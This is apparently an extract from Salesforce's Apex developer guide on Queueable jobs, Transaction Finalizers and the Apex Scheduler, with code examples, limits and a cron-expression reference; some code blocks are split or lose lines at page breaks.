Use the `System.enqueueJob(queueable, asyncOptions)` method where you can specify the maximum stack depth and the minimum queue delay in the `asyncOptions` parameter.

The `System.AsyncInfo` class properties contain the current and maximum stack depths and the minimum queueable delay.

The `System.AsyncInfo` class has methods to help you determine if maximum stack depth is set in your Queueable request and to get the stack depths and queue delay for your queueables that are currently running. Use information about the current queueable execution to make decisions on adjusting delays on subsequent calls.

These are methods in the `System.AsyncInfo` class.

- `hasMaxStackDepth()`
- `getCurrentQueueableStackDepth()`
- `getMaximumQueueableStackDepth()`
- `getMinimumQueueableDelayInMinutes()`

This example uses stack depth to terminate a chained job and prevent it from reaching the daily maximum number of asynchronous Apex method executions.

```
// Fibonacci
public with sharing class FibonacciDepthQueueable implements Queueable {

    private long nMinus1, nMinus2;

    public static void calculateFibonacciTo(integer depth) {
        AsyncOptions asyncOptions = new AsyncOptions();
        asyncOptions.MaximumQueueableStackDepth = depth;
        System.enqueueJob(new FibonacciDepthQueueable(null, null), asyncOptions);
    }

    private FibonacciDepthQueueable(long nMinus1param, long nMinus2param) {
        nMinus1 = nMinus1param;
    }
}
```

```

        nMinus2 = nMinus2param;
    }

    public void execute(QueueableContext context) {

        integer depth = AsyncInfo.getCurrentQueueableStackDepth();

        // Calculate step
        long fibonacciSequenceStep;
        switch on (depth) {
            when 1, 2 {
                fibonacciSequenceStep = 1;
            }
            when else {
                fibonacciSequenceStep = nMinus1 + nMinus2;
            }
        }

        System.debug('depth: ' + depth + ' fibonacciSequenceStep: ' + fibonacciSequenceStep);

        if(System.AsyncInfo.hasMaxStackDepth() &&
            AsyncInfo.getCurrentQueueableStackDepth() >=
            AsyncInfo.getMaximumQueueableStackDepth()) {
            // Reached maximum stack depth
            Fibonacci__c result = new Fibonacci__c(
                Depth__c = depth,
                Result = fibonacciSequenceStep
            );
            insert as user result;
        } else {
            System.enqueueJob(new FibonacciDepthQueueable(fibonacciSequenceStep, nMinus1));
        }
    }
}

```

Testing Queueable Jobs

This example shows how to test the execution of a queueable job in a test method. A queueable job is an asynchronous process. To make sure that this process runs within the test method, the job is submitted to the queue between the `Test.startTest` and `Test.stopTest` block. The system executes all asynchronous processes started in a test method synchronously after the `Test.stopTest` statement. Next, the test method verifies the results of the queueable job by querying the account that the job created.

```

@IsTest
public with sharing class AsyncExecutionExampleTest {
    @IsTest
    static void test1() {
        // startTest/stopTest block to force async processes
        // to run in the test.
        Test.startTest();
        System.enqueueJob(new AsyncExecutionExample());
        Test.stopTest();
    }
}

```

```

        // Validate that the job has run
        // by verifying that the record was created.
        // This query returns only the account created in test context by the
        // Queueable class method.
        Account acct = [SELECT Name,Phone FROM Account WHERE Name='Acme' LIMIT 1 WITH
USER_MODE];
        Assert.IsNotNull(acct);
        Assert.AreEqual('(415) 555-1212', acct.Phone);
    }
}

```

Chaining Jobs

To run a job after some other processing is done first by another job, you can chain queueable jobs. To chain a job to another job, submit the second job from the `execute()` method of your queueable class. You can add only one job from an executing job, which means that only one child job can exist for each parent job. For example, if you have a second class called `SecondJob` that implements the `Queueable` interface, you can add this class to the queue in the `execute()` method as follows:

```

public with sharing class AsyncExecutionExample implements Queueable {
    public void execute(QueueableContext context) {
        // Your processing logic here

        // Chain this job to next job by submitting the next job
        System.enqueueJob(new SecondJob());
    }
}

```

 **Note:** Apex allows HTTP and web service callouts from queueable jobs, if they implement the `Database.AllowsCallouts` marker interface. In queueable jobs that implement this interface, callouts are also allowed in chained queueable jobs.

You can test chained queueable jobs by using appropriate stack depths, but be aware of applicable Apex governor limits. See [Adding a Queueable Job with a Specified Stack Depth](#).

Queueable Apex Limits

- The execution of a queued job counts one time against the shared limit for asynchronous Apex method executions. See [Lightning Platform Apex Limits](#).
- You can add up to 50 jobs to the queue with `System.enqueueJob` in a single transaction. In asynchronous transactions (for example, from a batch Apex job), you can add only one job to the queue with `System.enqueueJob`. To check how many queueable jobs have been added in one transaction, call `Limits.getQueueableJobs()`.
- Because no limit is enforced on the depth of chained jobs, you can chain one job to another. You can repeat this process with each new child job to link it to a new child job. For Developer Edition and Trial organizations, the maximum stack depth for chained jobs is 5, which means that you can chain jobs four times. The maximum number of jobs in the chain is 5, including the initial parent queueable job.
- When chaining jobs with `System.enqueueJob`, you can add only one job from an executing job. Only one child job can exist for each parent queueable job. Starting multiple child jobs from the same queueable job isn't supported.
- The execution of a queued job counts one time against the shared limit for asynchronous Apex method executions. See [Salesforce Platform Apex Limits](#).
- You can process queueable jobs that exceed the daily shared limit for asynchronous Apex executions at a throttled rate. See [Elastic Limits for Asynchronous Apex Executions \(Beta\)](#) on page 357.

[Detecting Duplicate Queueable Jobs](#)

Reduce resource contention and race conditions by enqueueing only a single instance of your async Queueable job based on its signature. Attempting to add more than one Queueable job to the processing queue with the same signature results in a `DuplicateMessageException` when you try to enqueue subsequent jobs.

[Transaction Finalizers](#)

The Transaction Finalizers feature enables you to attach actions, using the `System.Finalizer` interface, to asynchronous Apex jobs that use the Queueable framework. A specific use case is to design recovery actions when a Queueable job fails.

[Transaction Finalizers Error Messages](#)

Troubleshoot both semantic and run-time issues by analyzing these error messages.

SEE ALSO:

[Apex Reference Guide: Queueable Interface](#)

[Apex Reference Guide: QueueableContext Interface](#)

Detecting Duplicate Queueable Jobs

Reduce resource contention and race conditions by enqueueing only a single instance of your async Queueable job based on its signature. Attempting to add more than one Queueable job to the processing queue with the same signature results in a `DuplicateMessageException` when you try to enqueue subsequent jobs.

Build a Queueable Signature

To create a unique queueable signature, first declare an instance of the `AsyncOptions` class. Then set the value of the instance's `DuplicateSignature` property to a `QueueableDuplicateSignature` object, which is built using the inner `QueueableDuplicateSignature.Builder` class.

To build the queueable signature, add different strings, IDs, or integers using these methods from `QueueableDuplicateSignature.Builder`.

- `addString(inputString)`
- `addId(inputId)`
- `addInteger(inputInteger)`

As you build the signature, you can find the size, remaining size, and maximum size of the queueable job signature in bytes using these methods from the `QueueableDuplicateSignature.Builder` class.

- `getSize()`
- `getRemainingSize()`
- `getMaxSize()`

When the signature has the required components, call the `.build()` method and assign the signature to the `DuplicateSignature` property.

Enqueue a Job with a Queueable Signature

After you build a queueable signature, enqueue a new job using the `System.enqueueJob(queueable, asyncOptions)` method. Set the `asyncOptions` parameter to the `AsyncOptions` instance with the queueable signature that identifies the unique job. When the new job is enqueued, the system checks for existing enqueued jobs with the same signature. If other enqueued jobs with the same signature are found, then the enqueue operation for the new job fails, and a `DuplicateMessageException` is thrown.

However, if other jobs with the same signature are already running when the new job is enqueued, then the enqueue operation for the new job succeeds. Therefore, duplicates of already running jobs can still occur in this case. This behavior occurs because the queueable signature is removed from the job when it's first dequeued, so a running job no longer has a signature. This removal guarantees that at least one job instance for a given signature runs.

Examples

This example builds the async job signature using the User Id and the string `MyQueueable`.

```
AsyncOptions options = new AsyncOptions();
options.DuplicateSignature = QueueableDuplicateSignature.Builder()
    .addId(UserInfo.getUserId())
    .addString('MyQueueable')
    .build();

try {
    System.enqueueJob(new MyQueueable(), options);
} catch (DuplicateMessageException ex) {
    //Exception is thrown if there is already an enqueued job with the same
    //signature
    Assert.areEqual('Attempt to enqueue job with duplicate queueable signature',
        ex.getMessage());
}
```

This example builds the async job signature using the ApexClass Id and the hash value of an sObject.

```
AsyncOptions options = new AsyncOptions();
options.DuplicateSignature = QueueableDuplicateSignature.Builder()
    .addInteger(System.hashCode(someAccount))
    .addId([SELECT Id FROM ApexClass
        WHERE Name='MyQueueable'].Id)
    .build();
System.enqueueJob(new MyQueueable(), options);
```

Transaction Finalizers

The Transaction Finalizers feature enables you to attach actions, using the `System.Finalizer` interface, to asynchronous Apex jobs that use the Queueable framework. A specific use case is to design recovery actions when a Queueable job fails.

The Transaction Finalizers feature provides a direct way for you to specify actions to be taken when asynchronous jobs succeed or fail. Before Transaction Finalizers, you could only take these two actions for asynchronous job failures:

- Poll the status of `AsyncApexJob` using a SOQL query and re-enqueue the job if it fails
- Fire `BatchApexErrorEvents` when a batch Apex method encounters an unhandled exception

With transaction finalizers, you can attach a post-action sequence to a Queueable job and take relevant actions based on the job execution result.

A Queueable job that failed due to an unhandled exception can be successively re-enqueued five times by a transaction finalizer. This limit applies to a series of consecutive Queueable job failures. The counter is reset when the Queueable job completes without an unhandled exception.

Finalizers can be implemented as an inner class. Also, you can implement both Queueable and Finalizer interfaces with the same class.

The Queueable job and the Finalizer run in separate Apex and Database transactions. For example, the Queueable can include DML, and the Finalizer can include REST callouts. Using a finalizer doesn't count as an extra execution against your daily Async Apex limit. Synchronous governor limits apply for the Finalizer transaction, except in these cases where asynchronous limits apply:

- Total heap size
- Maximum number of Apex jobs added to the queue with `System.enqueueJob`
- Maximum number of methods with the `future` annotation allowed per Apex invocation

For more information on governor limits, see [Execution Governors and Limits](#).

System.Finalizer Interface

The `System.Finalizer` interface includes the `execute` method:

```
global void execute(System.FinalizerContext ctx) {}
```

This method is called on the provided `FinalizerContext` instance for every enqueued job with a finalizer attached. Within the `execute` method, you can define the actions to be taken at the end of the Queueable job. An instance of `System.FinalizerContext` is injected by the Apex runtime engine as an argument to the `execute` method.

System.FinalizerContext Interface

The `System.FinalizerContext` interface contains four methods.

- `getAsyncApexJobId` method:

```
global Id getAsyncApexJobId {}
```

Returns the ID of the Queueable job for which this finalizer is defined.

- `getRequestId` method:

```
global String getRequestId {}
```

Returns the request ID, a string that uniquely identifies the request, and can be correlated with Event Monitoring logs. To correlate with the `AsyncApexJob` table, use the `getAsyncApexJobId` method instead. The Queueable job and the Finalizer execution both share the (same) request ID.

- `getResult` method:

```
global System.ParentJobResult getResult {}
```

Returns the `System.ParentJobResult` enum, which represents the result of the parent asynchronous Apex Queueable job to which the finalizer is attached. The enum takes these values: `SUCCESS`, `UNHANDLED_EXCEPTION`.

- `getException` method:

```
global System.Exception getException {}
```

Returns the exception with which the Queueable job failed when `getResult` is `UNHANDLED_EXCEPTION`, null otherwise.

Attach the finalizer to your Queueable jobs using the `System.attachFinalizer` method.

1. Define a class that implements the `System.Finalizer` interface.
2. Attach a finalizer within a Queueable job's `execute` method. To attach the finalizer, invoke the `System.attachFinalizer` method, using as argument the instantiated class that implements the `System.Finalizer` interface.

```
global void attachFinalizer(Finalizer finalizer) {}
```

Implementation Details

- Only one finalizer instance can be attached to any Queueable job.

- You can enqueue a single asynchronous Apex job (Queueable, Future, or Batch) in the finalizer's implementation of the `execute` method.
- Callouts are allowed in finalizer implementations.
- The Finalizer framework uses the state of the Finalizer object (if attached) at the end of Queueable execution. Mutation of the Finalizer state, after it's attached, is therefore supported.
- Variables that are declared `transient` are ignored by serialization and deserialization, and therefore don't persist in the Transaction Finalizer.

Logging Finalizer Example

This example demonstrates the use of Transaction Finalizers in logging messages from a Queueable job, regardless of whether the job succeeds or fails. The `LoggingFinalizer` class here implements both `Queueable` and `Finalizer` interfaces. The `Queueable` implementation instantiates the finalizer, attaches it, and then invokes the `addLog()` method to buffer log messages. The `Finalizer` implementation of `LoggingFinalizer` includes the `addLog(message, source)` method that allows buffering log messages from the Queueable job into finalizer's state. When the Queueable job completes, the finalizer instance commits the buffered log. The finalizer state is preserved even if the Queueable job fails, and can be accessed for use in DML in finalizer implementation or execution.

```
public class LoggingFinalizer implements Finalizer, Queueable {

    // Queueable implementation
    // A queueable job that uses LoggingFinalizer to buffer the log
    // and commit upon exit, even if the queueable execution fails

    public void execute(QueueableContext ctx) {
        String jobId = '' + ctx.getJobId();
        System.debug('Begin: executing queueable job: ' + jobId);
        try {
            // Create an instance of LoggingFinalizer and attach it
            // Alternatively, System.attachFinalizer(this) can be used instead of
instantiating LoggingFinalizer
            LoggingFinalizer f = new LoggingFinalizer();
            System.attachFinalizer(f);

            // While executing the job, log using LoggingFinalizer.addLog()
            // Note that addlog() modifies the Finalizer's state after it is attached
            DateTime start = DateTime.now();
            f.addLog('About to do some work...', jobId);

            while (true) {
                // Results in limit error
            }
        } catch (Exception e) {
            System.debug('Error executing the job [' + jobId + ']: ' + e.getMessage());
        } finally {
            System.debug('Completed: execution of queueable job: ' + jobId);
        }
    }

    // Finalizer implementation
    // Logging finalizer provides a public method addLog(message,source) that allows buffering
log lines from the Queueable job.
    // When the Queueable job completes, regardless of success or failure, the LoggingFinalizer
```

```

instance commits this buffered log.
// Custom object LogMessage__c has four custom fields-see addLog() method.

// internal log buffer
private List<LogMessage__c> logRecords = new List<LogMessage__c>();

public void execute(FinalizerContext ctx) {
    String parentJobId = ctx.getAsyncApexJobId();
    System.debug('Begin: executing finalizer attached to queueable job: ' + parentJobId);

    // Update the log records with the parent queueable job id
    System.Debug('Updating job id on ' + logRecords.size() + ' log records');
    for (LogMessage__c log : logRecords) {
        log.Request__c = parentJobId; // or could be ctx.getRequestId()
    }
    // Commit the buffer
    System.Debug('committing log records to database');
    Database.insert(logRecords, false);

    if (ctx.getResult() == ParentJobResult.SUCCESS) {
        System.debug('Parent queueable job [' + parentJobId + '] completed successfully.');
```

```

    } else {
        System.debug('Parent queueable job [' + parentJobId + '] failed due to unhandled exception: ' + ctx.getException().getMessage());
        System.debug('Enqueueing another instance of the queueable...');
```

```

    }
    System.debug('Completed: execution of finalizer attached to queueable job: ' + parentJobId);
}

public void addLog(String message, String source) {
    // append the log message to the buffer
    logRecords.add(new LogMessage__c(
        DateTime__c = DateTime.now(),
        Message__c = message,
        Request__c = 'setbeforecommit',
        Source__c = source
    ));
}
}

```

Retry Queueable Example

This example demonstrates how to re-enqueue a failed Queueable job in its finalizer. It also shows that jobs can be re-enqueued up to a queueable chaining limit of 5 retries.

```

public class RetryLimitDemo implements Finalizer, Queueable {

    // Queueable implementation
    public void execute(QueueableContext ctx) {

```

```

String jobId = '' + ctx.getJobId();
System.debug('Begin: executing queueable job: ' + jobId);
try {
    Finalizer finalizer = new RetryLimitDemo();
    System.attachFinalizer(finalizer);
    System.debug('Attached finalizer');
    Integer accountNumber = 1;
    while (true) { // results in limit error
        Account a = new Account();
        a.Name = 'Account-Number-' + accountNumber;
        insert a;
        accountNumber++;
    }
} catch (Exception e) {
    System.debug('Error executing the job [' + jobId + ']: ' + e.getMessage());
} finally {
    System.debug('Completed: execution of queueable job: ' + jobId);
}

// Finalizer implementation
public void execute(FinalizerContext ctx) {
    String parentJobId = '' + ctx.getAsynchApexJobId();
    System.debug('Begin: executing finalizer attached to queueable job: ' + parentJobId);

    if (ctx.getResult() == ParentJobResult.SUCCESS) {
        System.debug('Parent queueable job [' + parentJobId + '] completed successfully.');
```

exception: ' + ctx.getException().getMessage());

```

        System.debug('Enqueueing another instance of the queueable...');
        String newJobId = '' + System.enqueueJob(new RetryLimitDemo()); // This call fails
after 5 times when it hits the chaining limit
        System.debug('Enqueued new job: ' + newJobId);
    }
    System.debug('Completed: execution of finalizer attached to queueable job: ' +
parentJobId);
}
}

```

Considerations

If a job request is terminated unexpectedly, such as a database shutdown during system upgrade, the transaction finalizer can fail to execute.

Best Practices

We urge ISVs to exercise caution in using global Finalizers with state-mutating methods in packages. If a subscriber org's implementation invokes such methods in the global Finalizer, it can result in unexpected behavior. Examine all state-mutating methods to see how they affect the finalizer state and overall behavior.

Transaction Finalizers Error Messages

Troubleshoot both semantic and run-time issues by analyzing these error messages.

This table provides information about error messages in your Apex debug log.

Table 5: Troubleshooting Errors in Apex Debug Log

Error Message	Failed Context	Reason for Failure
More than one Finalizer cannot be attached to same Async Apex Job	Queueable Execution	<code>System.attachFinalizer()</code> is invoked more than once in the same Queueable instance.
Class {0} must implement the Finalizer interface	Queueable Execution	The instantiated class parameter to <code>System.attachFinalizer()</code> doesn't implement the <code>System.Finalizer</code> interface.
<code>System.attachFinalizer(Finalizer)</code> is not allowed in this context	Non-Queueable Execution	<code>System.attachFinalizer()</code> is invoked in an Apex context that's not executing a Queueable instance.
Invalid number of parameters	Queueable Execution	Invalid number of parameters to <code>System.attachFinalizer()</code>
Argument cannot be null	Queueable Execution	<code>System.attachFinalizer()</code> is invoked with a null parameter.

If you have a [Splunk Add-On](#) for Salesforce, you can analyze error messages in your Splunk log. This table provides information about error messages in the Splunk log.

Table 6: Troubleshooting Errors in Splunk Log

Error Message	Reason for Failure
Error processing finalizer for queueable job id: {0}	Runtime error while executing Finalizer. This error can be an unhandled catchable exception or uncatchable exception (such as a <code>LimitException</code>), or, less commonly, an internal system error.
Error processing the finalizer (class name: {0}) for the queueable job id: {1} (queueable class id: {2})	Runtime error while executing Finalizer. This error can be an unhandled catchable exception or uncatchable exception (such as a <code>LimitException</code>), or, less commonly, an internal system error.

Apex Scheduler

Use the Apex Scheduler to delay execution so that you can run Apex classes at a specified time. This is ideal for daily or weekly maintenance tasks using Batch Apex.

To invoke Apex classes to run at specific times, first implement the `Schedulable` interface for the class, then specify the schedule using either the Schedule Apex page in the Salesforce user interface, or the `System.schedule` method.

 **Important:** Salesforce schedules the class for execution at the specified time. Actual execution can be delayed based on service availability.

You can only have 100 scheduled Apex jobs at one time. You can evaluate your current count by viewing the Scheduled Jobs page in Salesforce and creating a custom view with a type filter equal to “Scheduled Apex”. You can also programmatically query the `CronTrigger` and `CronJobDetail` objects to get the count of Apex scheduled jobs.

Use extreme care if you’re planning to schedule a class from a trigger. You must be able to guarantee that the trigger won’t add more scheduled classes than the limit. In particular, consider API bulk updates, import wizards, mass record changes through the user interface, and all cases where more than one record can be updated at a time.

If there are one or more active scheduled jobs for an Apex class, you can’t update the class or any classes referenced by this class through the Salesforce user interface. However, you can enable deployments to update the class with active scheduled jobs by using the Metadata API (for example, when using the Salesforce extensions for Visual Studio Code). See “Deployment Connections for Change Sets” in Salesforce Help.

Implementing the `Schedulable` Interface

To schedule an Apex class to run at regular intervals, first write an Apex class that implements the Salesforce-provided interface `Schedulable`.

The scheduler runs as system—all classes are executed, whether the user has permission to execute the class or not.

To monitor or stop the execution of a scheduled Apex job using the Salesforce user interface, from Setup, enter *Scheduled Jobs* in the **Quick Find** box, then select **Scheduled Jobs**.

The `Schedulable` interface contains one `execute` method that must be implemented.

```
public void execute(SchedulableContext sc){}
```

The implemented method must be declared as `global` or `public`.

Use this method to instantiate the class you want to schedule.

 **Tip:** Though it’s possible to do additional processing in the `execute` method, we recommend that all processing take place in a separate class.

This example implements the `Schedulable` interface for a class called `MergeNumbers`:

```
public with sharing class ScheduledMerge implements Schedulable {
    public void execute(SchedulableContext SC) {
        MergeNumbers M = new MergeNumbers();
    }
}
```

To schedule the class, execute this example in the Developer Console.

```
ScheduledMerge m = new ScheduledMerge();
String sch = '20 30 8 10 2 ?';
String jobId = System.schedule('Merge Job', sch, m);
```

You can also use the `Schedulable` interface with batch Apex classes. The following example illustrates how to implement the `Schedulable` interface for a batch Apex class called `Batchable`:

```
public with sharing class ScheduledBatchable implements Schedulable {
    global void execute(SchedulableContext sc) {
        Batchable b = new Batchable();
        Database.executeBatch(b);
    }
}
```

```
}
}
```

An easier way to schedule a batch job is to call the `System.scheduleBatch` method without having to implement the `Schedulable` interface.

Use the `SchedulableContext` object to track the scheduled job when it's scheduled. The `SchedulableContext` `getTriggerID` method returns the ID of the `CronTrigger` object associated with this scheduled job as a string. You can query `CronTrigger` to track the progress of the scheduled job.

To stop execution of a job that was scheduled, use the `System.abortJob` method with the ID returned by the `getTriggerID` method.

Tracking the Progress of a Scheduled Job Using Queries

After the Apex job has been scheduled, you can obtain more information about it by running a SOQL query on `CronTrigger`. You can retrieve the number of times the job has run, and the date and time when the job is scheduled to run again, as shown in this example.

```
CronTrigger ct =
    [SELECT TimesTriggered, NextFireTime
     FROM CronTrigger WHERE Id = :jobID WITH USER_MODE];
```

The previous example assumes you have a `jobID` variable holding the ID of the job. The `System.schedule` method returns the job ID. If you're performing this query inside the `execute` method of your schedulable class, you can obtain the ID of the current job by calling `getTriggerId` on the `SchedulableContext` argument variable. Assuming this variable name is `sc`, the modified example becomes:

```
CronTrigger ct =
    [SELECT TimesTriggered, NextFireTime
     FROM CronTrigger WHERE Id = :sc.getTriggerId() WITH USER_MODE];
```

You can also get the job's name and the job's type from the `CronJobDetail` record associated with the `CronTrigger` record. To do so, use the `CronJobDetail` relationship when performing a query on `CronTrigger`. This example retrieves the most recent `CronTrigger` record with the job name and type from `CronJobDetail`.

```
CronTrigger job =
    [SELECT Id, CronJobDetail.Id, CronJobDetail.Name, CronJobDetail.JobType
     FROM CronTrigger WITH USER_MODE ORDER BY CreatedDate DESC LIMIT 1];
```

Alternatively, you can query `CronJobDetail` directly to get the job's name and type. This next example gets the job's name and type for the `CronTrigger` record queried in the previous example. The corresponding `CronJobDetail` record ID is obtained by the `CronJobDetail.Id` expression on the `CronTrigger` record.

```
CronJobDetail ctd =
    [SELECT Id, Name, JobType
     FROM CronJobDetail WHERE Id = :job.CronJobDetail.Id WITH USER_MODE];
```

To obtain the total count of all Apex scheduled jobs, excluding all other scheduled job types, perform the this query. Note the value '7' is specified for the job type, which corresponds to the scheduled Apex job type.

```
SELECT COUNT() FROM CronTrigger WHERE CronJobDetail.JobType = '7' WITH USER_MODE
```

Testing the Apex Scheduler

Here's an example of how to test using the Apex scheduler.

The `System.schedule` method starts an asynchronous process. When you test scheduled Apex, you must ensure that the scheduled job is finished before testing against the results. Use the Test methods `startTest` and `stopTest` around the `System.schedule` method to ensure it finishes before continuing your test. All asynchronous calls made after the `startTest` method are collected by the system. When `stopTest` is executed, all asynchronous processes are run synchronously. If you don't include the `System.schedule` method within the `startTest` and `stopTest` methods, the scheduled job executes at the end of your test method for Apex saved using Salesforce API version 25.0 and later, but not in earlier versions.

This example defines a class to be tested.

```
public with sharing class TestScheduledApexFromTestMethod implements Schedulable {

    // This test runs a scheduled job at midnight Sept. 3rd. 2042

    public static String CRON_EXP = '0 0 0 3 9 ? 2042';

    public void execute(SchedulableContext ctx) {
        CronTrigger ct = [SELECT Id, CronExpression, TimesTriggered, NextFireTime
                        FROM CronTrigger WHERE Id = :ctx.getTriggerId() WITH USER_MODE];

        Assert.areEqual(CRON_EXP, ct.CronExpression);
        Assert.areEqual(0, ct.TimesTriggered);
        Assert.areEqual('2042-09-03 00:00:00', String.valueOf(ct.NextFireTime));

        Account a = [SELECT Id, Name FROM Account WHERE Name =
                    'testScheduledApexFromTestMethod' WITH USER_MODE];
        a.name = 'testScheduledApexFromTestMethodUpdated';
        update as user a;
    }
}
```

This code tests the class:

```
@IsTest
private with sharing class TestClass {
    @IsTest
    static void test() {
        Test.startTest();

        Account a = new Account();
        a.Name = 'testScheduledApexFromTestMethod';
        insert as user a;

        // Schedule the test job

        String jobId = System.schedule(
            'testBasicScheduledApex',
            TestScheduledApexFromTestMethod.CRON_EXP,
            new TestScheduledApexFromTestMethod()
        );

        // Get the information from the CronTrigger API object
        CronTrigger ct = [
            SELECT Id, CronExpression, TimesTriggered, NextFireTime
            FROM CronTrigger
            WHERE Id = :jobId
        ];
```



```

        WITH USER_MODE
    ];

    // Verify the expressions are the same
    Assert.areEqual(
        TestScheduledApexFromTestMethod.CRON_EXP,
        ct.CronExpression
    );

    // Verify the job has not run
    Assert.areEqual(0, ct.TimesTriggered);

    // Verify the next time the job will run
    Assert.areEqual('2042-09-03 00:00:00', String.valueOf(ct.NextFireTime));
    Assert.areNotEqual(
        'testScheduledApexFromTestMethodUpdated',
        [SELECT Id, Name FROM Account WHERE Id = :a.Id WITH USER_MODE].Name
    );

    Test.stopTest();

    Assert.areEqual(
        'testScheduledApexFromTestMethodUpdated',
        [SELECT Id, Name FROM Account WHERE Id = :a.Id WITH USER_MODE].Name
    );
}
}

```

Using the `System.schedule` Method

After you implement a class with the `Schedulable` interface, use the `System.schedule` method to execute it. The scheduler runs as system—all classes are executed, whether the user has permission to execute the class or not.

 **Note:** Use extreme care if you're planning to schedule a class from a trigger. You must be able to guarantee that the trigger won't add more scheduled classes than the limit. In particular, consider API bulk updates, import wizards, mass record changes through the user interface, and all cases where more than one record can be updated at a time.

The `System.schedule` method takes three arguments: a name for the job, a cron expression used to represent the time and date the job is scheduled to run, and the name of the class.

The name for the job must be unique among the jobs scheduled for execution. If you attempt to schedule another job with the same name, you see the error `System.AsyncException: The Apex job named "jobName" is already scheduled for execution`.

The cron expression has this syntax:

Seconds Minutes Hours Day_of_month Month Day_of_week Optional_year

 **Note:** Salesforce schedules the class for execution at the specified time. Actual execution can be delayed based on service availability.

The `System.schedule` method uses the user's time zone as the basis of all schedules.

These are the values for the expression:

Name	Values	Special Characters
<i>Seconds</i>	0–59	None
<i>Minutes</i>	0–59	None
<i>Hours</i>	0–23	, - * /
<i>Day_of_month</i>	1–31	, - * ? / L W
<i>Month</i>	1–12 or the following: • JAN • FEB • MAR • APR • MAY • JUN • JUL • AUG • SEP • OCT • NOV • DEC	, - * /
<i>Day_of_week</i>	1–7 or the following: • SUN • MON • TUE • WED • THU • FRI • SAT	, - * ? / L #
<i>optional_year</i>	null or 1970–2099	, - * /

The special characters are defined as follows:

Special Character	Description
,	Delimits values. For example, use JAN, MAR, APR to specify more than one month.
–	Specifies a range. For example, use JAN–MAR to specify more than one month.
*	Specifies all values. For example, if <i>Month</i> is specified as *, the job is scheduled for every month.

Special Character	Description
?	Specifies no specific value. This option is only available for <i>Day_of_month</i> and <i>Day_of_week</i> . It's typically used when specifying a value for one and not the other.
/	Specifies increments. The number before the slash specifies when the intervals will begin, and the number after the slash is the interval amount. For example, if you specify 1 / 5 for <i>Day_of_month</i> , the Apex class runs every fifth day of the month, starting on the first of the month.
L	Specifies the end of a range (last). This option is only available for <i>Day_of_month</i> and <i>Day_of_week</i> . When used with <i>Day_of_month</i> , L always means the last day of the month, such as January 31, February 29 (for leap years), and so on. When used with <i>Day_of_week</i> by itself, it always means 7 or SAT. When used with a <i>Day_of_week</i> value, it means the last of that type of day in the month. For example, if you specify 2L, you're specifying the last Monday of the month. Don't use a range of values with L as the results can be unexpected.
W	Specifies the nearest weekday (Monday-Friday) of the given day. This option is only available for <i>Day_of_month</i> . For example, if you specify 20W, and the 20th is a Saturday, the class runs on the 19th. If you specify 1W, and the first is a Saturday, the class doesn't run in the previous month, but on the third, which is the following Monday.  Tip: Use the L and W together to specify the last weekday of the month.
#	Specifies the <i>n</i> th day of the month, in the format weekday#day_of_month . This option is only available for <i>Day_of_week</i> . The number before the # specifies weekday (SUN–SAT). The number after the # specifies the day of the month. For example, specifying 2#1 means the class runs on the first Monday of every month.

The following are some examples of how to use the expression.

Expression	Description
0 0 13 * * ?	The class runs every day at 1 PM.
0 5 * * * ?	The class runs every hour at 5 minutes past the hour.  Note: Apex doesn't allow for a job to be scheduled more than once an hour.
0 0 22 ? * 6L	The class runs on the last Friday of every month at 10 PM.
0 0 10 ? * MON-FRI	The class runs Monday through Friday at 10 AM.
0 0 20 * * ? 2010	The class runs every day at 8 PM during the year 2010.

In the following example, the class `Proschedule` implements the `Schedulable` interface. The class is scheduled to run at 8 AM on the 13 February.

```
Proschedule p = new Proschedule();
    String sch = '0 0 8 13 2 ?';
    System.schedule('One Time Pro', sch, p);
```

Using the `System.scheduleBatch` Method for Batch Jobs

You can call the `System.scheduleBatch` method to schedule a batch job to run one time at a specified time in the future. This method is available only for batch classes and doesn't require the implementation of the `Schedulable` interface. It's therefore easy to schedule a batch job for one execution. For more details on how to use the `System.scheduleBatch` method, see [Using the `System.scheduleBatch` Method](#).

Apex Scheduler Limits

- You can only have 100 scheduled Apex jobs at one time. You can evaluate your current count by viewing the Scheduled Jobs page in Salesforce and creating a custom view with a type filter equal to "Scheduled Apex". You can also programmatically query the `CronTrigger` and `CronJobDetail` objects to get the count of Apex scheduled jobs.
- The maximum number of scheduled Apex executions per a 24-hour period is 250,000 or the number of user licenses in your organization multiplied by 200, whichever is greater. This limit is for your entire org and is shared with all asynchronous Apex: Batch Apex, Queueable Apex, scheduled Apex, and future methods. To check how many asynchronous Apex executions are available, make a request to REST API `limits` resource. See [List Organization Limits](#) in the *REST API Developer Guide*. If the number of asynchronous Apex executions needed by a job exceeds the available number that's calculated using the 24-hour rolling limit, an exception is thrown. For example, if your async job requires 10,000 method executions and the available 24-hour rolling limit is 9,500, you get `AsyncApexExecutions Limit exceeded` exception. The license types that count toward this limit include full Salesforce and Salesforce Platform user licenses, App Subscription user licenses, Chatter Only users, Identity users, and Company Communities users.

Apex Scheduler Notes and Best Practices

- Salesforce schedules the class for execution at the specified time. Actual execution can be delayed based on service availability.
- Use extreme care if you're planning to schedule a class from a trigger. You must be able to guarantee that the trigger won't add more scheduled classes than the limit. In particular, consider API bulk updates, import wizards, mass record changes through the user interface, and all cases where more than one record can be updated at a time.
- Though it's possible to do additional processing in the `execute` method, we recommend that all processing must take place in a separate class.
- Synchronous Web service callouts aren't supported from scheduled Apex. To make asynchronous callouts, use [Queueable Apex](#), implementing the `Database.AllowsCallouts` marker interface. If your scheduled Apex executes a batch job using the `Database.AllowsCallouts` marker interface, callouts are supported from the batch class. See [Using Batch Apex](#).
- Apex jobs scheduled to run during a Salesforce service maintenance downtime will be scheduled to run after the service comes back up, when system resources become available. If a scheduled Apex job was running when downtime occurred, the job is rolled back and scheduled again after the service comes back up. After major service upgrades, there can be longer delays than usual for starting scheduled Apex jobs because of system usage spikes.
- When you refresh a sandbox, scheduled jobs from the source org aren't copied. You must reschedule any jobs that you need in the refreshed sandbox.
- Scheduled job objects, along with their member variables and properties, persist from initialization to subsequent scheduled runs. The object state at the time of invocation of `System.schedule()` persists in subsequent job executions.

With Batch Apex, it's possible to force a new serialized state for new jobs by using `Database.Stateful`. With Scheduled Apex, use the `transient` keyword so that member variables and properties aren't persisted. See [Using the transient Keyword](#) on page 89..

